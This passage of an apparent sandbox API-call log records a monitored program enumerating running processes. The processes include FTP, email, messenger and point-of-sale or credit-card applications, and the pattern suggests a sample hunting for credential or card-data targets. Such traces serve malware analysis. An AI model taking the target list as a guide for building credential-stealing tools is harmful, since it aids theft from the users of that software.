cntThreads=0x8, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0068.754] lstrlenW (lpString="svchost.exe") returned 11 [0068.755] Process32NextW (in: hSnapshot=0x1e4, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0068.756] lstrlenW (lpString="svchost.exe") returned 11 [0068.756] Process32NextW (in: hSnapshot=0x1e4, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0068.758] lstrlenW (lpString="svchost.exe") returned 11 [0068.758] Process32NextW (in: hSnapshot=0x1e4, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x31, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0068.760] lstrlenW (lpString="svchost.exe") returned 11 [0068.760] Process32NextW (in: hSnapshot=0x1e4, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0068.761] lstrlenW (lpString="audiodg.exe") returned 11 [0068.762] Process32NextW (in: hSnapshot=0x1e4, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0068.763] lstrlenW (lpString="svchost.exe") returned 11 [0068.763] Process32NextW (in: hSnapshot=0x1e4, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x218, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0068.765] lstrlenW (lpString="svchost.exe") returned 11 [0068.765] Process32NextW (in: hSnapshot=0x1e4, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x434, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0068.766] lstrlenW (lpString="dwm.exe") returned 7 [0068.766] Process32NextW (in: hSnapshot=0x1e4, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x444, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x21, th32ParentProcessID=0x42c, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0068.769] lstrlenW (lpString="explorer.exe") returned 12 [0068.769] Process32NextW (in: hSnapshot=0x1e4, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x46c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0068.771] lstrlenW (lpString="spoolsv.exe") returned 11 [0068.771] Process32NextW (in: hSnapshot=0x1e4, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0068.772] lstrlenW (lpString="taskhost.exe") returned 12 [0068.772] Process32NextW (in: hSnapshot=0x1e4, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0068.774] lstrlenW (lpString="svchost.exe") returned 11 [0068.774] Process32NextW (in: hSnapshot=0x1e4, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x530, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x370, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0068.776] lstrlenW (lpString="taskeng.exe") returned 11 [0068.776] Process32NextW (in: hSnapshot=0x1e4, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x720, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1d8, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0068.777] lstrlenW (lpString="taskhost.exe") returned 12 [0068.778] Process32NextW (in: hSnapshot=0x1e4, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0068.779] lstrlenW (lpString="svchost.exe") returned 11 [0068.779] Process32NextW (in: hSnapshot=0x1e4, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x674, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="sppsvc.exe")) returned 1 [0068.781] lstrlenW (lpString="sppsvc.exe") returned 10 [0068.782] Process32NextW (in: hSnapshot=0x1e4, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x738, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0068.891] lstrlenW (lpString="svchost.exe") returned 11 [0068.891] Process32NextW (in: hSnapshot=0x1e4, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="cosmetics_involving_x.exe")) returned 1 [0068.893] lstrlenW (lpString="cosmetics_involving_x.exe") returned 25 [0068.893] Process32NextW (in: hSnapshot=0x1e4, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x73c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="visa thought.exe")) returned 1 [0068.894] lstrlenW (lpString="visa thought.exe") returned 16 [0068.894] Process32NextW (in: hSnapshot=0x1e4, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x180, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="instrumental.exe")) returned 1 [0068.896] lstrlenW (lpString="instrumental.exe") returned 16 [0068.896] Process32NextW (in: hSnapshot=0x1e4, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x778, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="mouth tree.exe")) returned 1 [0068.898] lstrlenW (lpString="mouth tree.exe") returned 14 [0068.898] Process32NextW (in: hSnapshot=0x1e4, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x764, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="friday complete spiritual.exe")) returned 1 [0068.899] lstrlenW (lpString="friday complete spiritual.exe") returned 29 [0068.899] Process32NextW (in: hSnapshot=0x1e4, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x684, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="thisul.exe")) returned 1 [0068.901] lstrlenW (lpString="thisul.exe") returned 10 [0068.901] Process32NextW (in: hSnapshot=0x1e4, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x688, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="adjacent-earlier.exe")) returned 1 [0068.902] lstrlenW (lpString="adjacent-earlier.exe") returned 20 [0068.903] Process32NextW (in: hSnapshot=0x1e4, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x788, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="tired grad keep.exe")) returned 1 [0068.904] lstrlenW (lpString="tired grad keep.exe") returned 19 [0068.904] Process32NextW (in: hSnapshot=0x1e4, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x758, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="basename_nested.exe")) returned 1 [0068.906] lstrlenW (lpString="basename_nested.exe") returned 19 [0068.906] Process32NextW (in: hSnapshot=0x1e4, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x424, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="reserves-pixel-minds.exe")) returned 1 [0068.907] lstrlenW (lpString="reserves-pixel-minds.exe") returned 24 [0068.907] Process32NextW (in: hSnapshot=0x1e4, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="securities-cpu-orange.exe")) returned 1 [0068.910] lstrlenW (lpString="securities-cpu-orange.exe") returned 25 [0068.910] Process32NextW (in: hSnapshot=0x1e4, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x804, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="exotic.exe")) returned 1 [0068.911] lstrlenW (lpString="exotic.exe") returned 10 [0068.911] Process32NextW (in: hSnapshot=0x1e4, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x814, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="fisher arab disable.exe")) returned 1 [0068.913] lstrlenW (lpString="fisher arab disable.exe") returned 23 [0068.913] Process32NextW (in: hSnapshot=0x1e4, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x824, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="manufacture-mtv.exe")) returned 1 [0068.914] lstrlenW (lpString="manufacture-mtv.exe") returned 19 [0068.915] Process32NextW (in: hSnapshot=0x1e4, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x834, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="syndicaterssidentity.exe")) returned 1 [0068.916] lstrlenW (lpString="syndicaterssidentity.exe") returned 24 [0068.916] Process32NextW (in: hSnapshot=0x1e4, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x844, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="belfastcreationdeposit.exe")) returned 1 [0068.918] lstrlenW (lpString="belfastcreationdeposit.exe") returned 26 [0068.918] Process32NextW (in: hSnapshot=0x1e4, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x854, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="patient.exe")) returned 1 [0068.920] lstrlenW (lpString="patient.exe") returned 11 [0068.920] Process32NextW (in: hSnapshot=0x1e4, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x864, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="corps.exe")) returned 1 [0068.921] lstrlenW (lpString="corps.exe") returned 9 [0068.921] Process32NextW (in: hSnapshot=0x1e4, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x874, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="inquire.exe")) returned 1 [0068.923] lstrlenW (lpString="inquire.exe") returned 11 [0068.923] Process32NextW (in: hSnapshot=0x1e4, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x884, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1 [0069.042] lstrlenW (lpString="3dftp.exe") returned 9 [0069.042] Process32NextW (in: hSnapshot=0x1e4, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x894, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1 [0069.044] lstrlenW (lpString="absolutetelnet.exe") returned 18 [0069.044] Process32NextW (in: hSnapshot=0x1e4, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1 [0069.045] lstrlenW (lpString="alftp.exe") returned 9 [0069.045] Process32NextW (in: hSnapshot=0x1e4, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1 [0069.046] lstrlenW (lpString="barca.exe") returned 9 [0069.046] Process32NextW (in: hSnapshot=0x1e4, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1 [0069.048] lstrlenW (lpString="bitkinex.exe") returned 12 [0069.051] Process32NextW (in: hSnapshot=0x1e4, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1 [0069.053] lstrlenW (lpString="coreftp.exe") returned 11 [0069.053] Process32NextW (in: hSnapshot=0x1e4, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1 [0069.054] lstrlenW (lpString="far.exe") returned 7 [0069.054] Process32NextW (in: hSnapshot=0x1e4, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1 [0069.057] lstrlenW (lpString="filezilla.exe") returned 13 [0069.057] Process32NextW (in: hSnapshot=0x1e4, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x904, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1 [0069.058] lstrlenW (lpString="flashfxp.exe") returned 12 [0069.059] Process32NextW (in: hSnapshot=0x1e4, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x914, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1 [0069.060] lstrlenW (lpString="fling.exe") returned 9 [0069.060] Process32NextW (in: hSnapshot=0x1e4, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x924, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1 [0069.062] lstrlenW (lpString="foxmailincmail.exe") returned 18 [0069.062] Process32NextW (in: hSnapshot=0x1e4, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x934, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1 [0069.064] lstrlenW (lpString="gmailnotifierpro.exe") returned 20 [0069.064] Process32NextW (in: hSnapshot=0x1e4, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x944, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1 [0069.067] lstrlenW (lpString="icq.exe") returned 7 [0069.067] Process32NextW (in: hSnapshot=0x1e4, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x954, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1 [0069.069] lstrlenW (lpString="leechftp.exe") returned 12 [0069.069] Process32NextW (in: hSnapshot=0x1e4, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x964, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1 [0069.072] lstrlenW (lpString="ncftp.exe") returned 9 [0069.072] Process32NextW (in: hSnapshot=0x1e4, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x974, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1 [0069.075] lstrlenW (lpString="notepad.exe") returned 11 [0069.075] Process32NextW (in: hSnapshot=0x1e4, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x984, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1 [0069.077] lstrlenW (lpString="operamail.exe") returned 13 [0069.077] Process32NextW (in: hSnapshot=0x1e4, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1 [0069.182] lstrlenW (lpString="pidgin.exe") returned 10 [0069.182] Process32NextW (in: hSnapshot=0x1e4, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1 [0069.185] lstrlenW (lpString="scriptftp.exe") returned 13 [0069.185] Process32NextW (in: hSnapshot=0x1e4, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1 [0069.187] lstrlenW (lpString="skype.exe") returned 9 [0069.187] Process32NextW (in: hSnapshot=0x1e4, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1 [0069.192] lstrlenW (lpString="smartftp.exe") returned 12 [0069.193] Process32NextW (in: hSnapshot=0x1e4, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="thunderbird.exe")) returned 1 [0069.195] lstrlenW (lpString="thunderbird.exe") returned 15 [0069.195] Process32NextW (in: hSnapshot=0x1e4, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="totalcmd.exe")) returned 1 [0069.197] lstrlenW (lpString="totalcmd.exe") returned 12 [0069.197] Process32NextW (in: hSnapshot=0x1e4, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1 [0069.199] lstrlenW (lpString="trillian.exe") returned 12 [0069.199] Process32NextW (in: hSnapshot=0x1e4, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1 [0069.201] lstrlenW (lpString="webdrive.exe") returned 12 [0069.201] Process32NextW (in: hSnapshot=0x1e4, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa24, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1 [0069.203] lstrlenW (lpString="whatsapp.exe") returned 12 [0069.204] Process32NextW (in: hSnapshot=0x1e4, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa34, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1 [0069.206] lstrlenW (lpString="winscp.exe") returned 10 [0069.206] Process32NextW (in: hSnapshot=0x1e4, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa44, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1 [0069.208] lstrlenW (lpString="yahoomessenger.exe") returned 18 [0069.208] Process32NextW (in: hSnapshot=0x1e4, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa54, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1 [0069.210] lstrlenW (lpString="active-charge.exe") returned 17 [0069.210] Process32NextW (in: hSnapshot=0x1e4, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1 [0069.211] lstrlenW (lpString="accupos.exe") returned 11 [0069.212] Process32NextW (in: hSnapshot=0x1e4, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa74, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1 [0069.213] lstrlenW (lpString="afr38.exe") returned 9 [0069.214] Process32NextW (in: hSnapshot=0x1e4, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa84, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1 [0069.215] lstrlenW (lpString="aldelo.exe") returned 10 [0069.215] Process32NextW (in: hSnapshot=0x1e4, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa94, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1 [0069.217] lstrlenW (lpString="ccv_server.exe") returned 14 [0069.217] Process32NextW (in: hSnapshot=0x1e4, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xaa4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1 [0069.219] lstrlenW (lpString="centralcreditcard.exe") returned 21 [0069.219] Process32NextW (in: hSnapshot=0x1e4, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xab4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1 [0069.347] lstrlenW (lpString="creditservice.exe") returned 17 [0069.348] Process32NextW (in: hSnapshot=0x1e4, lppe=0x21ffd34 | out: 